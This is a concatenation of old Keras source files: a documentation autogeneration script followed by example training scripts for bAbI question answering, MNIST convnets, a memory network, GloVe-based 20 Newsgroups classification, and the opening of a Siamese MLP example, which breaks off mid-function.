    Model (functional API)

- Layers
    About Keras layers
        explain common layer functions: get_weights, set_weights, get_config
        explain input_shape
        explain usage on non-Keras tensors
    Core layers
    Convolutional
    Recurrent
    Embeddings
    Normalization
    Advanced activations
    Noise

- Preprocessing
    Image preprocessing
    Text preprocessing
    Sequence preprocessing

Objectives
Optimizers
Activations
Callbacks
Datasets
Backend
Initializations
Regularizers
Constraints
Visualization
Scikit-learn API

'''
from __future__ import print_function
from __future__ import unicode_literals

import re
import inspect
import os
import shutil
import sys
if sys.version[0] == '2':
    reload(sys)
    sys.setdefaultencoding('utf8')

from keras.layers import convolutional
from keras.layers import recurrent
from keras.layers import core
from keras.layers import noise
from keras.layers import normalization
from keras.layers import advanced_activations
from keras.layers import embeddings
from keras.layers import wrappers
from keras import optimizers
from keras import callbacks
from keras import models
from keras.engine import topology
from keras import objectives
from keras import backend
from keras import constraints
from keras import activations
from keras import regularizers


EXCLUDE = {
    'Optimizer',
    'Wrapper',
    'get_session',
    'set_session',
    'CallbackList',
}

PAGES = [
    {
        'page': 'models/sequential.md',
        'functions': [
            models.Sequential.compile,
            models.Sequential.fit,
            models.Sequential.evaluate,
            models.Sequential.predict,
            models.Sequential.predict_classes,
            models.Sequential.predict_proba,
            models.Sequential.train_on_batch,
            models.Sequential.test_on_batch,
            models.Sequential.predict_on_batch,
            models.Sequential.fit_generator,
            models.Sequential.evaluate_generator,
        ],
    },
    {
        'page': 'models/model.md',
        'functions': [
            models.Model.compile,
            models.Model.fit,
            models.Model.evaluate,
            models.Model.predict,
            models.Model.train_on_batch,
            models.Model.test_on_batch,
            models.Model.predict_on_batch,
            models.Model.fit_generator,
            models.Model.evaluate_generator,
            models.Model.get_layer,
        ]
    },
    {
        'page': 'layers/core.md',
        'classes': [
            core.Dense,
            core.Activation,
            core.Dropout,
            core.Flatten,
            core.Reshape,
            core.Permute,
            core.RepeatVector,
            topology.Merge,
            core.Lambda,
            core.ActivityRegularization,
            core.Masking,
            core.Highway,
            core.MaxoutDense,
            core.TimeDistributedDense,
        ],
    },
    {
        'page': 'layers/convolutional.md',
        'classes': [
            convolutional.Convolution1D,
            convolutional.Convolution2D,
            convolutional.AtrousConv2D,
            convolutional.Convolution3D,
            convolutional.UpSampling1D,
            convolutional.UpSampling2D,
            convolutional.UpSampling3D,
            convolutional.ZeroPadding1D,
            convolutional.ZeroPadding2D,
            convolutional.ZeroPadding3D,
        ],
    },
    {
        'page': 'layers/pooling.md',
        'classes': [
            convolutional.MaxPooling1D,
            convolutional.MaxPooling2D,
            convolutional.MaxPooling3D,
            convolutional.AveragePooling1D,
            convolutional.AveragePooling2D,
            convolutional.AveragePooling3D,
        ],
    },
    {
        'page': 'layers/recurrent.md',
        'classes': [
            recurrent.Recurrent,
            recurrent.SimpleRNN,
            recurrent.GRU,
            recurrent.LSTM,
        ],
    },
    {
        'page': 'layers/embeddings.md',
        'classes': [
            embeddings.Embedding,
        ],
    },
    {
        'page': 'layers/normalization.md',
        'classes': [
            normalization.BatchNormalization,
        ],
    },
    {
        'page': 'layers/advanced-activations.md',
        'all_module_classes': [advanced_activations],
    },
    {
        'page': 'layers/noise.md',
        'all_module_classes': [noise],
    },
    {
        'page': 'layers/wrappers.md',
        'all_module_classes': [wrappers],
    },


    {
        'page': 'optimizers.md',
        'all_module_classes': [optimizers],
    },
    {
        'page': 'callbacks.md',
        'all_module_classes': [callbacks],
    },
    {
        'page': 'backend.md',
        'all_module_functions': [backend],
    },
]

ROOT = 'http://keras.io/'


def get_earliest_class_that_defined_member(member, cls):
    ancestors = get_classes_ancestors([cls])
    result = None
    for ancestor in ancestors:
        if member in dir(ancestor):
            result = ancestor
    if not result:
        return cls
    return result


def get_classes_ancestors(classes):
    ancestors = []
    for cls in classes:
        ancestors += cls.__bases__
    filtered_ancestors = []
    for ancestor in ancestors:
        if ancestor.__name__ in ['object']:
            continue
        filtered_ancestors.append(ancestor)
    if filtered_ancestors:
        return filtered_ancestors + get_classes_ancestors(filtered_ancestors)
    else:
        return filtered_ancestors


def get_function_signature(function, method=True):
    signature = inspect.getargspec(function)
    defaults = signature.defaults
    if method:
        args = signature.args[1:]
    else:
        args = signature.args
    if defaults:
        kwargs = zip(args[-len(defaults):], defaults)
        args = args[:-len(defaults)]
    else:
        kwargs = []
    st = '%s.%s(' % (function.__module__, function.__name__)
    for a in args:
        st += str(a) + ', '
    for a, v in kwargs:
        if type(v) == str:
            v = '\'' + v + '\''
        st += str(a) + '=' + str(v) + ', '
    if kwargs or args:
        return st[:-2] + ')'
    else:
        return st + ')'


def get_class_signature(cls):
    try:
        class_signature = get_function_signature(cls.__init__)
        class_signature = class_signature.replace('__init__', cls.__name__)
    except:
        # in case the class inherits from object and does not
        # define __init__
        class_signature = cls.__module__ + '.' + cls.__name__ + '()'
    return class_signature


def class_to_docs_link(cls):
    module_name = cls.__module__
    assert module_name[:6] == 'keras.'
    module_name = module_name[6:]
    link = ROOT + module_name.replace('.', '/') + '#' + cls.__name__.lower()
    return link


def class_to_source_link(cls):
    module_name = cls.__module__
    assert module_name[:6] == 'keras.'
    path = module_name.replace('.', '/')
    path += '.py'
    line = inspect.getsourcelines(cls)[-1]
    link = 'https://github.com/fchollet/keras/blob/master/' + path + '#L' + str(line)
    return '[[source]](' + link + ')'


def code_snippet(snippet):
    result = '```python\n'
    result += snippet + '\n'
    result += '```\n'
    return result


def process_class_docstring(docstring):
    docstring = re.sub(r'\n    # (.*)\n',
                       r'\n    __\1__\n\n',
                       docstring)

    docstring = re.sub(r'    ([^\s\\]+):(.*)\n',
                       r'    - __\1__:\2\n',
                       docstring)

    docstring = docstring.replace('    ' * 5, '\t\t')
    docstring = docstring.replace('    ' * 3, '\t')
    docstring = docstring.replace('    ', '')
    return docstring


def process_function_docstring(docstring):
    docstring = re.sub(r'\n    # (.*)\n',
                       r'\n    __\1__\n\n',
                       docstring)
    docstring = re.sub(r'\n        # (.*)\n',
                       r'\n        __\1__\n\n',
                       docstring)

    docstring = re.sub(r'    ([^\s\\]+):(.*)\n',
                       r'    - __\1__:\2\n',
                       docstring)

    docstring = docstring.replace('    ' * 6, '\t\t')
    docstring = docstring.replace('    ' * 4, '\t')
    docstring = docstring.replace('    ', '')
    return docstring

print('Cleaning up existing sources directory.')
if os.path.exists('sources'):
    shutil.rmtree('sources')

print('Populating sources directory with templates.')
for subdir, dirs, fnames in os.walk('templates'):
    for fname in fnames:
        new_subdir = subdir.replace('templates', 'sources')
        if not os.path.exists(new_subdir):
            os.makedirs(new_subdir)
        if fname[-3:] == '.md':
            fpath = os.path.join(subdir, fname)
            new_fpath = fpath.replace('templates', 'sources')
            shutil.copy(fpath, new_fpath)

print('Starting autogeneration.')
for page_data in PAGES:
    blocks = []
    classes = page_data.get('classes', [])
    for module in page_data.get('all_module_classes', []):
        module_classes = []
        for name in dir(module):
            if name[0] == '_' or name in EXCLUDE:
                continue
            module_member = getattr(module, name)
            if inspect.isclass(module_member):
                cls = module_member
                if cls.__module__ == module.__name__:
                    if cls not in module_classes:
                        module_classes.append(cls)
        module_classes.sort(key=lambda x: id(x))
        classes += module_classes

    for cls in classes:
        subblocks = []
        signature = get_class_signature(cls)
        subblocks.append('<span style="float:right;">' + class_to_source_link(cls) + '</span>')
        subblocks.append('### ' + cls.__name__ + '\n')
        subblocks.append(code_snippet(signature))
        docstring = cls.__doc__
        if docstring:
            subblocks.append(process_class_docstring(docstring))
        blocks.append('\n'.join(subblocks))

    functions = page_data.get('functions', [])
    for module in page_data.get('all_module_functions', []):
        module_functions = []
        for name in dir(module):
            if name[0] == '_' or name in EXCLUDE:
                continue
            module_member = getattr(module, name)
            if inspect.isfunction(module_member):
                function = module_member
                if module.__name__ in function.__module__:
                    if function not in module_functions:
                        module_functions.append(function)
        module_functions.sort(key=lambda x: id(x))
        functions += module_functions

    for function in functions:
        subblocks = []
        signature = get_function_signature(function, method=False)
        signature = signature.replace(function.__module__ + '.', '')
        subblocks.append('### ' + function.__name__ + '\n')
        subblocks.append(code_snippet(signature))
        docstring = function.__doc__
        if docstring:
            subblocks.append(process_function_docstring(docstring))
            blocks.append('\n\n'.join(subblocks))

    mkdown = '\n----\n\n'.join(blocks)
    # save module page.
    # Either insert content into existing page,
    # or create page otherwise
    page_name = page_data['page']
    path = os.path.join('sources', page_name)
    if os.path.exists(path):
        template = open(path).read()
        assert '{{autogenerated}}' in template, ('Template found for ' + path +
                                                 ' but missing {{autogenerated}} tag.')
        mkdown = template.replace('{{autogenerated}}', mkdown)
        print('...inserting autogenerated content into template:', path)
    else:
        print('...creating new page with autogenerated content:', path)
    subdir = os.path.dirname(path)
    if not os.path.exists(subdir):
        os.makedirs(subdir)
    open(path, 'w').write(mkdown)






'''Trains two recurrent neural networks based upon a story and a question.
The resulting merged vector is then queried to answer a range of bAbI tasks.

The results are comparable to those for an LSTM model provided in Weston et al.:
"Towards AI-Complete Question Answering: A Set of Prerequisite Toy Tasks"
http://arxiv.org/abs/1502.05698

Task Number                  | FB LSTM Baseline | Keras QA
---                          | ---              | ---
QA1 - Single Supporting Fact | 50               | 100.0
QA2 - Two Supporting Facts   | 20               | 50.0
QA3 - Three Supporting Facts | 20               | 20.5
QA4 - Two Arg. Relations     | 61               | 62.9
QA5 - Three Arg. Relations   | 70               | 61.9
QA6 - Yes/No Questions       | 48               | 50.7
QA7 - Counting               | 49               | 78.9
QA8 - Lists/Sets             | 45               | 77.2
QA9 - Simple Negation        | 64               | 64.0
QA10 - Indefinite Knowledge  | 44               | 47.7
QA11 - Basic Coreference     | 72               | 74.9
QA12 - Conjunction           | 74               | 76.4
QA13 - Compound Coreference  | 94               | 94.4
QA14 - Time Reasoning        | 27               | 34.8
QA15 - Basic Deduction       | 21               | 32.4
QA16 - Basic Induction       | 23               | 50.6
QA17 - Positional Reasoning  | 51               | 49.1
QA18 - Size Reasoning        | 52               | 90.8
QA19 - Path Finding          | 8                | 9.0
QA20 - Agent's Motivations   | 91               | 90.7

For the resources related to the bAbI project, refer to:
https://research.facebook.com/researchers/1543934539189348

Notes:

- With default word, sentence, and query vector sizes, the GRU model achieves:
  - 100% test accuracy on QA1 in 20 epochs (2 seconds per epoch on CPU)
  - 50% test accuracy on QA2 in 20 epochs (16 seconds per epoch on CPU)
In comparison, the Facebook paper achieves 50% and 20% for the LSTM baseline.

- The task does not traditionally parse the question separately. This likely
improves accuracy and is a good example of merging two RNNs.

- The word vector embeddings are not shared between the story and question RNNs.

- See how the accuracy changes given 10,000 training samples (en-10k) instead
of only 1000. 1000 was used in order to be comparable to the original paper.

- Experiment with GRU, LSTM, and JZS1-3 as they give subtly different results.

- The length and noise (i.e. 'useless' story components) impact the ability for
LSTMs / GRUs to provide the correct answer. Given only the supporting facts,
these RNNs can achieve 100% accuracy on many tasks. Memory networks and neural
networks that use attentional processes can efficiently search through this
noise to find the relevant statements, improving performance substantially.
This becomes especially obvious on QA2 and QA3, both far longer than QA1.
'''

from __future__ import print_function
from functools import reduce
import re
import tarfile

import numpy as np
np.random.seed(1337)  # for reproducibility

from keras.utils.data_utils import get_file
from keras.layers.embeddings import Embedding
from keras.layers import Dense, Merge, Dropout, RepeatVector
from keras.layers import recurrent
from keras.models import Sequential
from keras.preprocessing.sequence import pad_sequences


def tokenize(sent):
    '''Return the tokens of a sentence including punctuation.

    >>> tokenize('Bob dropped the apple. Where is the apple?')
    ['Bob', 'dropped', 'the', 'apple', '.', 'Where', 'is', 'the', 'apple', '?']
    '''
    return [x.strip() for x in re.split('(\W+)?', sent) if x.strip()]


def parse_stories(lines, only_supporting=False):
    '''Parse stories provided in the bAbi tasks format

    If only_supporting is true, only the sentences that support the answer are kept.
    '''
    data = []
    story = []
    for line in lines:
        line = line.decode('utf-8').strip()
        nid, line = line.split(' ', 1)
        nid = int(nid)
        if nid == 1:
            story = []
        if '\t' in line:
            q, a, supporting = line.split('\t')
            q = tokenize(q)
            substory = None
            if only_supporting:
                # Only select the related substory
                supporting = map(int, supporting.split())
                substory = [story[i - 1] for i in supporting]
            else:
                # Provide all the substories
                substory = [x for x in story if x]
            data.append((substory, q, a))
            story.append('')
        else:
            sent = tokenize(line)
            story.append(sent)
    return data


def get_stories(f, only_supporting=False, max_length=None):
    '''Given a file name, read the file, retrieve the stories, and then convert the sentences into a single story.

    If max_length is supplied, any stories longer than max_length tokens will be discarded.
    '''
    data = parse_stories(f.readlines(), only_supporting=only_supporting)
    flatten = lambda data: reduce(lambda x, y: x + y, data)
    data = [(flatten(story), q, answer) for story, q, answer in data if not max_length or len(flatten(story)) < max_length]
    return data


def vectorize_stories(data, word_idx, story_maxlen, query_maxlen):
    X = []
    Xq = []
    Y = []
    for story, query, answer in data:
        x = [word_idx[w] for w in story]
        xq = [word_idx[w] for w in query]
        y = np.zeros(len(word_idx) + 1)  # let's not forget that index 0 is reserved
        y[word_idx[answer]] = 1
        X.append(x)
        Xq.append(xq)
        Y.append(y)
    return pad_sequences(X, maxlen=story_maxlen), pad_sequences(Xq, maxlen=query_maxlen), np.array(Y)

RNN = recurrent.LSTM
EMBED_HIDDEN_SIZE = 50
SENT_HIDDEN_SIZE = 100
QUERY_HIDDEN_SIZE = 100
BATCH_SIZE = 32
EPOCHS = 40
print('RNN / Embed / Sent / Query = {}, {}, {}, {}'.format(RNN, EMBED_HIDDEN_SIZE, SENT_HIDDEN_SIZE, QUERY_HIDDEN_SIZE))

try:
    path = get_file('babi-tasks-v1-2.tar.gz', origin='http://www.thespermwhale.com/jaseweston/babi/tasks_1-20_v1-2.tar.gz')
except:
    print('Error downloading dataset, please download it manually:\n'
          '$ wget http://www.thespermwhale.com/jaseweston/babi/tasks_1-20_v1-2.tar.gz\n'
          '$ mv tasks_1-20_v1-2.tar.gz ~/.keras/datasets/babi-tasks-v1-2.tar.gz')
    raise
tar = tarfile.open(path)
# Default QA1 with 1000 samples
# challenge = 'tasks_1-20_v1-2/en/qa1_single-supporting-fact_{}.txt'
# QA1 with 10,000 samples
# challenge = 'tasks_1-20_v1-2/en-10k/qa1_single-supporting-fact_{}.txt'
# QA2 with 1000 samples
challenge = 'tasks_1-20_v1-2/en/qa2_two-supporting-facts_{}.txt'
# QA2 with 10,000 samples
# challenge = 'tasks_1-20_v1-2/en-10k/qa2_two-supporting-facts_{}.txt'
train = get_stories(tar.extractfile(challenge.format('train')))
test = get_stories(tar.extractfile(challenge.format('test')))

vocab = sorted(reduce(lambda x, y: x | y, (set(story + q + [answer]) for story, q, answer in train + test)))
# Reserve 0 for masking via pad_sequences
vocab_size = len(vocab) + 1
word_idx = dict((c, i + 1) for i, c in enumerate(vocab))
story_maxlen = max(map(len, (x for x, _, _ in train + test)))
query_maxlen = max(map(len, (x for _, x, _ in train + test)))

X, Xq, Y = vectorize_stories(train, word_idx, story_maxlen, query_maxlen)
tX, tXq, tY = vectorize_stories(test, word_idx, story_maxlen, query_maxlen)

print('vocab = {}'.format(vocab))
print('X.shape = {}'.format(X.shape))
print('Xq.shape = {}'.format(Xq.shape))
print('Y.shape = {}'.format(Y.shape))
print('story_maxlen, query_maxlen = {}, {}'.format(story_maxlen, query_maxlen))

print('Build model...')

sentrnn = Sequential()
sentrnn.add(Embedding(vocab_size, EMBED_HIDDEN_SIZE,
                      input_length=story_maxlen))
sentrnn.add(Dropout(0.3))

qrnn = Sequential()
qrnn.add(Embedding(vocab_size, EMBED_HIDDEN_SIZE,
                   input_length=query_maxlen))
qrnn.add(Dropout(0.3))
qrnn.add(RNN(EMBED_HIDDEN_SIZE, return_sequences=False))
qrnn.add(RepeatVector(story_maxlen))

model = Sequential()
model.add(Merge([sentrnn, qrnn], mode='sum'))
model.add(RNN(EMBED_HIDDEN_SIZE, return_sequences=False))
model.add(Dropout(0.3))
model.add(Dense(vocab_size, activation='softmax'))

model.compile(optimizer='adam',
              loss='categorical_crossentropy',
              metrics=['accuracy'])

print('Training')
model.fit([X, Xq], Y, batch_size=BATCH_SIZE, nb_epoch=EPOCHS, validation_split=0.05)
loss, acc = model.evaluate([tX, tXq], tY, batch_size=BATCH_SIZE)
print('Test loss / test accuracy = {:.4f} / {:.4f}'.format(loss, acc))






'''Trains a simple convnet on the MNIST dataset.

Gets to 99.25% test accuracy after 12 epochs
(there is still a lot of margin for parameter tuning).
16 seconds per epoch on a GRID K520 GPU.
'''

from __future__ import print_function
import numpy as np
np.random.seed(1337)  # for reproducibility

from keras.datasets import mnist
from keras.models import Sequential
from keras.layers import Dense, Dropout, Activation, Flatten
from keras.layers import Convolution2D, MaxPooling2D
from keras.utils import np_utils

batch_size = 128
nb_classes = 10
nb_epoch = 12

# input image dimensions
img_rows, img_cols = 28, 28
# number of convolutional filters to use
nb_filters = 32
# size of pooling area for max pooling
nb_pool = 2
# convolution kernel size
kernel_size = (3, 3)

# the data, shuffled and split between train and test sets
(X_train, y_train), (X_test, y_test) = mnist.load_data()

X_train = X_train.reshape(X_train.shape[0], 1, img_rows, img_cols)
X_test = X_test.reshape(X_test.shape[0], 1, img_rows, img_cols)
X_train = X_train.astype('float32')
X_test = X_test.astype('float32')
X_train /= 255
X_test /= 255
print('X_train shape:', X_train.shape)
print(X_train.shape[0], 'train samples')
print(X_test.shape[0], 'test samples')

# convert class vectors to binary class matrices
Y_train = np_utils.to_categorical(y_train, nb_classes)
Y_test = np_utils.to_categorical(y_test, nb_classes)

model = Sequential()

model.add(Convolution2D(nb_filters, kernel_size[0], kernel_size[1],
                        border_mode='valid',
                        input_shape=(1, img_rows, img_cols)))
model.add(Activation('relu'))
model.add(Convolution2D(nb_filters, kernel_size[0], kernel_size[1]))
model.add(Activation('relu'))
model.add(MaxPooling2D(pool_size=(nb_pool, nb_pool)))
model.add(Dropout(0.25))

model.add(Flatten())
model.add(Dense(128))
model.add(Activation('relu'))
model.add(Dropout(0.5))
model.add(Dense(nb_classes))
model.add(Activation('softmax'))

model.compile(loss='categorical_crossentropy',
              optimizer='adadelta',
              metrics=['accuracy'])

model.fit(X_train, Y_train, batch_size=batch_size, nb_epoch=nb_epoch,
          verbose=1, validation_data=(X_test, Y_test))
score = model.evaluate(X_test, Y_test, verbose=0)
print('Test score:', score[0])
print('Test accuracy:', score[1])






'''Trains a memory network on the bAbI dataset.

References:
- Jason Weston, Antoine Bordes, Sumit Chopra, Tomas Mikolov, Alexander M. Rush,
  "Towards AI-Complete Question Answering: A Set of Prerequisite Toy Tasks",
  http://arxiv.org/abs/1502.05698

- Sainbayar Sukhbaatar, Arthur Szlam, Jason Weston, Rob Fergus,
  "End-To-End Memory Networks",
  http://arxiv.org/abs/1503.08895

Reaches 98.6% accuracy on task 'single_supporting_fact_10k' after 120 epochs.
Time per epoch: 3s on CPU (core i7).
'''

from __future__ import print_function
from keras.models import Sequential
from keras.layers.embeddings import Embedding
from keras.layers import Activation, Dense, Merge, Permute, Dropout
from keras.layers import LSTM
from keras.utils.data_utils import get_file
from keras.preprocessing.sequence import pad_sequences
from functools import reduce
import tarfile
import numpy as np
import re


def tokenize(sent):
    '''Return the tokens of a sentence including punctuation.

    >>> tokenize('Bob dropped the apple. Where is the apple?')
    ['Bob', 'dropped', 'the', 'apple', '.', 'Where', 'is', 'the', 'apple', '?']
    '''
    return [x.strip() for x in re.split('(\W+)?', sent) if x.strip()]


def parse_stories(lines, only_supporting=False):
    '''Parse stories provided in the bAbi tasks format

    If only_supporting is true, only the sentences that support the answer are kept.
    '''
    data = []
    story = []
    for line in lines:
        line = line.decode('utf-8').strip()
        nid, line = line.split(' ', 1)
        nid = int(nid)
        if nid == 1:
            story = []
        if '\t' in line:
            q, a, supporting = line.split('\t')
            q = tokenize(q)
            substory = None
            if only_supporting:
                # Only select the related substory
                supporting = map(int, supporting.split())
                substory = [story[i - 1] for i in supporting]
            else:
                # Provide all the substories
                substory = [x for x in story if x]
            data.append((substory, q, a))
            story.append('')
        else:
            sent = tokenize(line)
            story.append(sent)
    return data


def get_stories(f, only_supporting=False, max_length=None):
    '''Given a file name, read the file, retrieve the stories, and then convert the sentences into a single story.

    If max_length is supplied, any stories longer than max_length tokens will be discarded.
    '''
    data = parse_stories(f.readlines(), only_supporting=only_supporting)
    flatten = lambda data: reduce(lambda x, y: x + y, data)
    data = [(flatten(story), q, answer) for story, q, answer in data if not max_length or len(flatten(story)) < max_length]
    return data


def vectorize_stories(data, word_idx, story_maxlen, query_maxlen):
    X = []
    Xq = []
    Y = []
    for story, query, answer in data:
        x = [word_idx[w] for w in story]
        xq = [word_idx[w] for w in query]
        y = np.zeros(len(word_idx) + 1)  # let's not forget that index 0 is reserved
        y[word_idx[answer]] = 1
        X.append(x)
        Xq.append(xq)
        Y.append(y)
    return (pad_sequences(X, maxlen=story_maxlen),
            pad_sequences(Xq, maxlen=query_maxlen), np.array(Y))


try:
    path = get_file('babi-tasks-v1-2.tar.gz', origin='http://www.thespermwhale.com/jaseweston/babi/tasks_1-20_v1-2.tar.gz')
except:
    print('Error downloading dataset, please download it manually:\n'
          '$ wget http://www.thespermwhale.com/jaseweston/babi/tasks_1-20_v1-2.tar.gz\n'
          '$ mv tasks_1-20_v1-2.tar.gz ~/.keras/datasets/babi-tasks-v1-2.tar.gz')
    raise
tar = tarfile.open(path)

challenges = {
    # QA1 with 10,000 samples
    'single_supporting_fact_10k': 'tasks_1-20_v1-2/en-10k/qa1_single-supporting-fact_{}.txt',
    # QA2 with 10,000 samples
    'two_supporting_facts_10k': 'tasks_1-20_v1-2/en-10k/qa2_two-supporting-facts_{}.txt',
}
challenge_type = 'single_supporting_fact_10k'
challenge = challenges[challenge_type]

print('Extracting stories for the challenge:', challenge_type)
train_stories = get_stories(tar.extractfile(challenge.format('train')))
test_stories = get_stories(tar.extractfile(challenge.format('test')))

vocab = sorted(reduce(lambda x, y: x | y, (set(story + q + [answer]) for story, q, answer in train_stories + test_stories)))
# Reserve 0 for masking via pad_sequences
vocab_size = len(vocab) + 1
story_maxlen = max(map(len, (x for x, _, _ in train_stories + test_stories)))
query_maxlen = max(map(len, (x for _, x, _ in train_stories + test_stories)))

print('-')
print('Vocab size:', vocab_size, 'unique words')
print('Story max length:', story_maxlen, 'words')
print('Query max length:', query_maxlen, 'words')
print('Number of training stories:', len(train_stories))
print('Number of test stories:', len(test_stories))
print('-')
print('Here\'s what a "story" tuple looks like (input, query, answer):')
print(train_stories[0])
print('-')
print('Vectorizing the word sequences...')

word_idx = dict((c, i + 1) for i, c in enumerate(vocab))
inputs_train, queries_train, answers_train = vectorize_stories(train_stories, word_idx, story_maxlen, query_maxlen)
inputs_test, queries_test, answers_test = vectorize_stories(test_stories, word_idx, story_maxlen, query_maxlen)

print('-')
print('inputs: integer tensor of shape (samples, max_length)')
print('inputs_train shape:', inputs_train.shape)
print('inputs_test shape:', inputs_test.shape)
print('-')
print('queries: integer tensor of shape (samples, max_length)')
print('queries_train shape:', queries_train.shape)
print('queries_test shape:', queries_test.shape)
print('-')
print('answers: binary (1 or 0) tensor of shape (samples, vocab_size)')
print('answers_train shape:', answers_train.shape)
print('answers_test shape:', answers_test.shape)
print('-')
print('Compiling...')

# embed the input sequence into a sequence of vectors
input_encoder_m = Sequential()
input_encoder_m.add(Embedding(input_dim=vocab_size,
                              output_dim=64,
                              input_length=story_maxlen))
input_encoder_m.add(Dropout(0.3))
# output: (samples, story_maxlen, embedding_dim)
# embed the question into a sequence of vectors
question_encoder = Sequential()
question_encoder.add(Embedding(input_dim=vocab_size,
                               output_dim=64,
                               input_length=query_maxlen))
question_encoder.add(Dropout(0.3))
# output: (samples, query_maxlen, embedding_dim)
# compute a 'match' between input sequence elements (which are vectors)
# and the question vector sequence
match = Sequential()
match.add(Merge([input_encoder_m, question_encoder],
                mode='dot',
                dot_axes=[2, 2]))
# output: (samples, story_maxlen, query_maxlen)
# embed the input into a single vector with size = story_maxlen:
input_encoder_c = Sequential()
input_encoder_c.add(Embedding(input_dim=vocab_size,
                              output_dim=query_maxlen,
                              input_length=story_maxlen))
input_encoder_c.add(Dropout(0.3))
# output: (samples, story_maxlen, query_maxlen)
# sum the match vector with the input vector:
response = Sequential()
response.add(Merge([match, input_encoder_c], mode='sum'))
# output: (samples, story_maxlen, query_maxlen)
response.add(Permute((2, 1)))  # output: (samples, query_maxlen, story_maxlen)

# concatenate the match vector with the question vector,
# and do logistic regression on top
answer = Sequential()
answer.add(Merge([response, question_encoder], mode='concat', concat_axis=-1))
# the original paper uses a matrix multiplication for this reduction step.
# we choose to use a RNN instead.
answer.add(LSTM(32))
# one regularization layer -- more would probably be needed.
answer.add(Dropout(0.3))
answer.add(Dense(vocab_size))
# we output a probability distribution over the vocabulary
answer.add(Activation('softmax'))

answer.compile(optimizer='rmsprop', loss='categorical_crossentropy',
               metrics=['accuracy'])
# Note: you could use a Graph model to avoid repeat the input twice
answer.fit([inputs_train, queries_train, inputs_train], answers_train,
           batch_size=32,
           nb_epoch=120,
           validation_data=([inputs_test, queries_test, inputs_test], answers_test))






'''This script loads pre-trained word embeddings (GloVe embeddings)
into a frozen Keras Embedding layer, and uses it to
train a text classification model on the 20 Newsgroup dataset
(classication of newsgroup messages into 20 different categories).

GloVe embedding data can be found at:
http://nlp.stanford.edu/data/glove.6B.zip
(source page: http://nlp.stanford.edu/projects/glove/)

20 Newsgroup data can be found at:
http://www.cs.cmu.edu/afs/cs.cmu.edu/project/theo-20/www/data/news20.html
'''

from __future__ import print_function
import os
import numpy as np
np.random.seed(1337)

from keras.preprocessing.text import Tokenizer
from keras.preprocessing.sequence import pad_sequences
from keras.utils.np_utils import to_categorical
from keras.layers import Dense, Input, Flatten
from keras.layers import Conv1D, MaxPooling1D, Embedding
from keras.models import Model
import sys

BASE_DIR = ''
GLOVE_DIR = BASE_DIR + '/glove.6B/'
TEXT_DATA_DIR = BASE_DIR + '/20_newsgroup/'
MAX_SEQUENCE_LENGTH = 1000
MAX_NB_WORDS = 20000
EMBEDDING_DIM = 100
VALIDATION_SPLIT = 0.2

# first, build index mapping words in the embeddings set
# to their embedding vector

print('Indexing word vectors.')

embeddings_index = {}
f = open(os.path.join(GLOVE_DIR, 'glove.6B.100d.txt'))
for line in f:
    values = line.split()
    word = values[0]
    coefs = np.asarray(values[1:], dtype='float32')
    embeddings_index[word] = coefs
f.close()

print('Found %s word vectors.' % len(embeddings_index))

# second, prepare text samples and their labels
print('Processing text dataset')

texts = []  # list of text samples
labels_index = {}  # dictionary mapping label name to numeric id
labels = []  # list of label ids
for name in sorted(os.listdir(TEXT_DATA_DIR)):
    path = os.path.join(TEXT_DATA_DIR, name)
    if os.path.isdir(path):
        label_id = len(labels_index)
        labels_index[name] = label_id
        for fname in sorted(os.listdir(path)):
            if fname.isdigit():
                fpath = os.path.join(path, fname)
                if sys.version_info < (3,):
                    f = open(fpath)
                else:
                    f = open(fpath, encoding='latin-1')
                texts.append(f.read())
                f.close()
                labels.append(label_id)

print('Found %s texts.' % len(texts))

# finally, vectorize the text samples into a 2D integer tensor
tokenizer = Tokenizer(nb_words=MAX_NB_WORDS)
tokenizer.fit_on_texts(texts)
sequences = tokenizer.texts_to_sequences(texts)

word_index = tokenizer.word_index
print('Found %s unique tokens.' % len(word_index))

data = pad_sequences(sequences, maxlen=MAX_SEQUENCE_LENGTH)

labels = to_categorical(np.asarray(labels))
print('Shape of data tensor:', data.shape)
print('Shape of label tensor:', labels.shape)

# split the data into a training set and a validation set
indices = np.arange(data.shape[0])
np.random.shuffle(indices)
data = data[indices]
labels = labels[indices]
nb_validation_samples = int(VALIDATION_SPLIT * data.shape[0])

x_train = data[:-nb_validation_samples]
y_train = labels[:-nb_validation_samples]
x_val = data[-nb_validation_samples:]
y_val = labels[-nb_validation_samples:]

print('Preparing embedding matrix.')

# prepare embedding matrix
nb_words = min(MAX_NB_WORDS, len(word_index))
embedding_matrix = np.zeros((nb_words + 1, EMBEDDING_DIM))
for word, i in word_index.items():
    if i > MAX_NB_WORDS:
        continue
    embedding_vector = embeddings_index.get(word)
    if embedding_vector is not None:
        # words not found in embedding index will be all-zeros.
        embedding_matrix[i] = embedding_vector

# load pre-trained word embeddings into an Embedding layer
# note that we set trainable = False so as to keep the embeddings fixed
embedding_layer = Embedding(nb_words + 1,
                            EMBEDDING_DIM,
                            weights=[embedding_matrix],
                            input_length=MAX_SEQUENCE_LENGTH,
                            trainable=False)

print('Training model.')

# train a 1D convnet with global maxpooling
sequence_input = Input(shape=(MAX_SEQUENCE_LENGTH,), dtype='int32')
embedded_sequences = embedding_layer(sequence_input)
x = Conv1D(128, 5, activation='relu')(embedded_sequences)
x = MaxPooling1D(5)(x)
x = Conv1D(128, 5, activation='relu')(x)
x = MaxPooling1D(5)(x)
x = Conv1D(128, 5, activation='relu')(x)
x = MaxPooling1D(35)(x)
x = Flatten()(x)
x = Dense(128, activation='relu')(x)
preds = Dense(len(labels_index), activation='softmax')(x)

model = Model(sequence_input, preds)
model.compile(loss='categorical_crossentropy',
              optimizer='rmsprop',
              metrics=['acc'])

# happy learning!
model.fit(x_train, y_train, validation_data=(x_val, y_val),
          nb_epoch=2, batch_size=128)






'''Train a Siamese MLP on pairs of digits from the MNIST dataset.

It follows Hadsell-et-al.'06 [1] by computing the Euclidean distance on the
output of the shared network and by optimizing the contrastive loss (see paper
for mode details).

[1] "Dimensionality Reduction by Learning an Invariant Mapping"
    http://yann.lecun.com/exdb/publis/pdf/hadsell-chopra-lecun-06.pdf

Gets to 99.5% test accuracy after 20 epochs.
3 seconds per epoch on a Titan X GPU
'''
from __future__ import absolute_import
from __future__ import print_function
import numpy as np
np.random.seed(1337)  # for reproducibility

import random
from keras.datasets import mnist
from keras.models import Sequential, Model
from keras.layers import Dense, Dropout, Input, Lambda
from keras.optimizers import SGD, RMSprop
from keras import backend as K


def euclidean_distance(vects):
    x, y = vects
